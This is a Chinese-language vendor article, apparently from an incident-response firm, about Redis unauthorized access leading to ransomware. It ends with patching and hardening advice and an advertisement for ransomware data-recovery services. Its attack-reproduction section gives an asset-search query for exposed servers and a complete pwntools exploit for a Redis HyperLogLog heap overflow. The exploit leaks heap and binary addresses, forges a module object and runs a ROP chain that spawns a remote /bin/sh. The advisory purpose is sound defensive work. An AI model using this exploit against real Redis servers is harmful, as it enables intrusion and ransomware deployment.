1.引言
在当前网络威胁形势下,攻击者常常利用互联网资产测绘与漏洞扫描,快速定位暴露在公网的高危服务。以 Redis 未授权访问为例,攻击者往往能够在极短时间内完成入侵,从信息收集到投放勒索病毒,形成一条完整的攻击链。以下场景展示了典型的 Redis 未授权访问被利用后,企业可能面临的勒索攻击过程。
2.场景还原
2.1 场景设置
攻击者在互联网资产测绘中发现目标企业存在 Redis 未授权访问漏洞,通过验证确认可以直接连接数据库。随后,攻击者在本地搭建相同版本 Redis 环境,利用漏洞脚本成功写入后门,并获取目标服务器的 Shell 权限。在取得控制权后,攻击者迅速投放勒索病毒,对服务器关键文件进行加密,并最终留下勒索信息,要求受害者支付赎金。
2.2 攻击路线图

2.3 攻击复现
黑客通过资产测绘搜索未授权访问redis,并获取其对应版本 product="1Panel-面板" || "assets/js/index-PfphYdDK.js"
黑客下载对应版本的redis-server
wget https://download.redis.io/releases/redis-7.4.2.tar.gz
tar xzf redis-7.4.2.tar.gz
cd redis-7.4.2
make
黑客利用漏洞进行攻击,获取服务器权限
python solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py
#!/usr/bin/env python3
from pwn import *
import redis
import random
import string
HOST, PORT = 'localhost', 6379
binary = ELF('./redis-server')
# client to send redis commands
r = redis.Redis(HOST, PORT)
# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')
HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010
# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')
# make a malformed sparse hll, again just a string
def xzero(sz):
assert 1 <= sz <= 0x4000
sz -= 1
return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd # -0xc000
pl += xzero(0xc000 - 0x956c) # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00) # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b) # -0x8000
pl += xzero(0x4000) * 3 # 0x4000
r.set('hll:exp', pl)
# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:b', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8) # sds @ 0x7005
# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense') # sds @ 0xa805
# assert that string type is modified
assert r.strlen('sds:b') == fakelen
# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400): # batch spray with mset
ms = {}
for j in range(0x400):
idx = i * 0x400 + j
ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
r.mset(ms)
# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]
# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
mark = dump.find(marker, mark)
assert mark != -1
tofs = mark - 3 - 0x10
# assert type|encoding, refcount, sdshdr8 fields
if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
break
mark += 8
else:
assert False, '[!] embstr spray egghunt fail'
# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')
# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')
# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
break
else:
assert False, '[!] redis-server base egghunt fail'
assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')
# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru
pl += p32(1) # refcount
pl += p64(badr + 0x10) # ptr
r.setrange('sds:b', tofs+3, pl)
'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''
# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472
# badr + 0x10
pl = p64(badr + 0x20 - 7*8) # mv->type
pl += p64(badr + 0x2010) # mv->value (rdi)
pl += p64(B + 0x001b9991) # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')
# badr + 0x1010
pl += b'/bin/sh\0' # 0x1010
pl += p64(badr + 0x1010) # 0x1018
pl += p64(0) # 0x1020
pl = pl.ljust(0x2000, b'\0')
# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028) # [rdi], rbp to set
pl += p64(B + 0x001410ec) # [rax+8], gadget #2
pl += p64(B + 0x00226097) # [rax+8], gadget #1
pl += p64(0) # popped rbp
# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])
r.setrange('sds:b', 3+8, pl)
r.close()
del r
# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()
之后黑客投放勒索病毒并加密服务器
3.防范措施
3.1 升级与修复
及时升级到官方已修复版本:
Redis 8.0.3+
Redis 7.4.5+
Redis 7.2.10+
Redis 6.2.19+
在升级过程中,应同步验证配置文件,确保安全选项生效。
3.2 配置与访问控制(临时缓解措施)
限制网络访问范围:通过防火墙或安全组策略,禁止 Redis 对公网开放,仅允许可信内网访问。
启用身份认证:在 redis.conf 中设置强口令,并结合 Access Control List (ACL) 细化用户权限。
启用绑定选项:在配置中设置 bind 127.0.0.1 或指定受信任的内网 IP,避免任意外部主机连接。
监控与告警:持续监控异常命令调用(如 HyperLogLog 相关命令被频繁触发)。关注异常连接数和未授权访问日志,结合 SIEM 平台建立告警策略。
最小化暴露面:关闭未使用的模块与命令(如 CONFIG、MODULE),减少攻击面。
3.3 应急处置建议
一旦发现 Redis 被异常访问,应立即下线或隔离受影响实例。检查 Redis 目录及系统定时任务,清理可能被写入的后门文件。对服务器进行全面安全扫描和取证,排查潜在的入侵痕迹。
4.参考文章
https://github.com/leesh3288/CVE-2025-32023
5.安全建议
1. 风险消减措施
资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查
服务方式: 调研访谈、现场勘查、工具扫描
服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
3. 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
培训及宣贯

线下培训课表
若无法组织线下的集体培训,考虑两种方式:
1.提供相关的安全意识培训材料,由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。

线上学习平台
以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。
6.团队介绍
团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;
7.我们的数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
我们在此郑重承诺:
不成功不收费
全程一对一服务
365天不间断服务
免费提供安全方案
24h服务热线:
18894665383
17864099776
18299173318

